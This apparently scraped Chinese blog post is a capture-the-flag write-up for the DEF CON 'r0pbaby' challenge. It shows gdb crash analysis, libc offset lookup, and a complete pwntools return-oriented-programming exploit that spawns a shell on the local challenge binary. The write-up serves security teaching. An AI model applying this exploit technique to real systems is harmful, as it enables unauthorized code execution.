Defcon
来源:互联网 发布:正版cad2017软件多少钱 编辑:程序博客网 时间:2024/05/01 05:52
资源
r0pbaby 程序
目的
getshell
思路
查看文件类型
$ file r0pbabyr0pbaby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, stripped
这是一个64位的可执行文件
查看文件安全策略
$ checksec r0pbaby[*] '/home/jc/Documents/pwn/r0pbaby' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
开启了NX,需要进行ROP
添加执行权限,运行玩一玩
$ chmod u+x r0pbaby$ ./r0pbabyWelcome to an easy Return Oriented Programming challenge...Menu:1) Get libc address2) Get address of a libc function3) Nom nom r0p buffer to stack4) Exit: 1libc.so.6: 0x00007FB66BC239B01) Get libc address2) Get address of a libc function3) Nom nom r0p buffer to stack4) Exit: 2Enter symbol: systemSymbol system: 0x00007FB66B4763901) Get libc address2) Get address of a libc function3) Nom nom r0p buffer to stack4) Exit: 3Enter bytes to send (max 1024): 4ABCD1) Get libc address2) Get address of a libc function3) Nom nom r0p buffer to stack4) Exit: Bad choice.
从这里我们可以知道,应该可以利用3),控制rip。因为这是一个64位的ELF,参数/bin/sh存储在rdi中,而不是栈中。所以,想要执行system(‘/bin/sh’),我们需要在call system前,将/bin/sh放在栈顶并执行一次pop rdi。
我们尝试让程序崩溃看看,操起gdb
$ gdb -q r0pbabyReading symbols from r0pbaby...(no debugging symbols found)...done.
创建长度为50的字符串
gdb-peda$ pattern_create 50'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
运行
gdb-peda$ rStarting program: /home/jc/Documents/pwn/r0pbaby
输入刚才生成的长度为50的字符串
Welcome to an easy Return Oriented Programming challenge...Menu:1) Get libc address2) Get address of a libc function3) Nom nom r0p buffer to stack4) Exit: 3Enter bytes to send (max 1024): 50AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA1) Get libc address2) Get address of a libc function3) Nom nom r0p buffer to stack4) Exit: Bad choice.Program received signal SIGSEGV, Segmentation fault.
Segmentation fault 崩溃了!
根据提示
[-------------------------------------code-------------------------------------] 0x555555554eae: pop r14 0x555555554eb0: pop r15 0x555555554eb2: pop rbp=> 0x555555554eb3: ret 0x555555554eb4: nop WORD PTR cs:[rax+rax*1+0x0] 0x555555554ebe: xchg ax,ax 0x555555554ec0: push r15 0x555555554ec2: mov r15d,edi
我们知道程序崩溃在了
=> 0x555555554eb3: ret
此时ret的返回地址,此时rsp的指向为
gdb-peda$ x/x $rsp0x7fffffffdc98: 0x6e41412441414241gdb-peda$ x/s $rsp0x7fffffffdc98: "ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA"
查看偏移量
gdb-peda$ pattern_offset ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA found at offset: 8
也就是说,程序会以我们输入的偏移量为8的位置去取ret的地址,this is so good!我们可以借此控制rip!此时的栈,是这样子的:
---------- 内存高地址...----------(AADAA;A----------AACAA-AA----------ABAA$AAn <- ret----------AAA%AAsA----------...---------- 内存低地址
libc里通常有这样的一个gadget
pop raxpop rdicall rax
如果我们构造一个这样的栈空间
---------- 内存高地址...----------/bin/sh的地址 pop rdi----------system()的地址 pop rax----------gadget ppc的地址 <- ret----------AAA%AAsA----------...---------- 内存低地址
Great!对不对?
那么,接下来我们要做几件事:
- 获取libc中system的地址
- 获取libc中/bin/sh的地址
- 获取libc中ppc gadget的地址
- 获取运行时system的地址
- 构造payload并发送getshell
下面我们利用本地的libc文件做下测试,本地libc路径位于:/lib/x86_64-linux-gnu/libc-2.23.so
获取libc中system的地址
IDA shift + f12,ctrl + f,system
得到libc中system的地址为0x45390
获取libc中/bin/sh的地址
IDA shift + f12,ctrl + f,/bin/sh
得到libc中/bin/sh的地址为0x18cd17
获取libc中ppc gadget的地址
IDA alt + t,pop rdi,直到找到ppc为止
得到libc中ppc的地址为0x1073d9
获取运行时system的地址
运行程序的时候,输入2,再输入system,就出来了
构造payload并发送getshell
#!/usr/bin/pythonfrom pwn import *def get_addr_sys(sh): sh.sendline('2') sh.recv() sh.sendline('system') ret = sh.recvline().split(' ')[-1] sh.recv() ret = long(ret, 16) return retdef get_shell(sh, addr_sys, ppc_offset, bin_sh_offset): print('addr_sys: %x' % addr_sys) print('pop_pop_call_offset: %x' % ppc_offset) print('bin_sh_offset: %x' % bin_sh_offset) sh.sendline('3') sh.recv() sh.sendline('32') payload = 'A' * 8 + p64(addr_sys + ppc_offset) + p64(addr_sys) + p64(addr_sys + bin_sh_offset) print(len(payload)) sh.sendline(payload) sh.recv() returndef main(): sh = process('./r0pbaby') addr_sys = get_addr_sys(sh) libc_addr_pop_rdi = 0x1073d9 libc_addr_bin_sh = 0x18cd17 libc_addr_sys = 0x45390 ppc_offset = libc_addr_pop_rdi - libc_addr_sys bin_sh_offset = libc_addr_bin_sh - libc_addr_sys get_shell(sh, addr_sys, ppc_offset, bin_sh_offset) sh.interactive() sh.close()if __name__ == '__main__': main()
本地测试结果
$ python r0pbaby_solver.py [+] Starting local process './r0pbaby': pid 6061addr_sys: 7fabe3959390pop_pop_call_offset: c2049bin_sh_offset: 14798732[*] Switching to interactive mode$ whoamijc$
- Defcon
- defcon video
- defcon russia
- Defcon Media Archives
- defcon media server
- defcon quals 2016 feedme writeup
- Blackhat 2017&Defcon 25学习笔记
- Defcon CTF腾讯安全助力中国战队冲冠
- “大宝剑”的用法:玩玩DEFCON后渗透工具Koadic
- DEFCON CTF全球总决赛:三支中国战队进入世界前六
- DEFCON GROUP 010沙龙深圳开讲 酷炫破解惊呆老外
- 【LintCode-1】A + B 问题(Java实现)
- iOS 一一 彩票
- 委托应用之窗口
- 自己来阿里这5个月的变化
- 详解coredump
- Defcon
- 简单冒泡排序算法(Java)
- 06-图2 Saving James Bond
- 文件
- udp通讯中的connect()和bind()函数
- SpringBoot快速启动和建立统一父pom
- Retrofit基础操作
- python学习笔记(十一)——算法与数据结构基础(算法概述+查找算法)
- 第十周项目一验证算法 (1)层次遍历算法的验证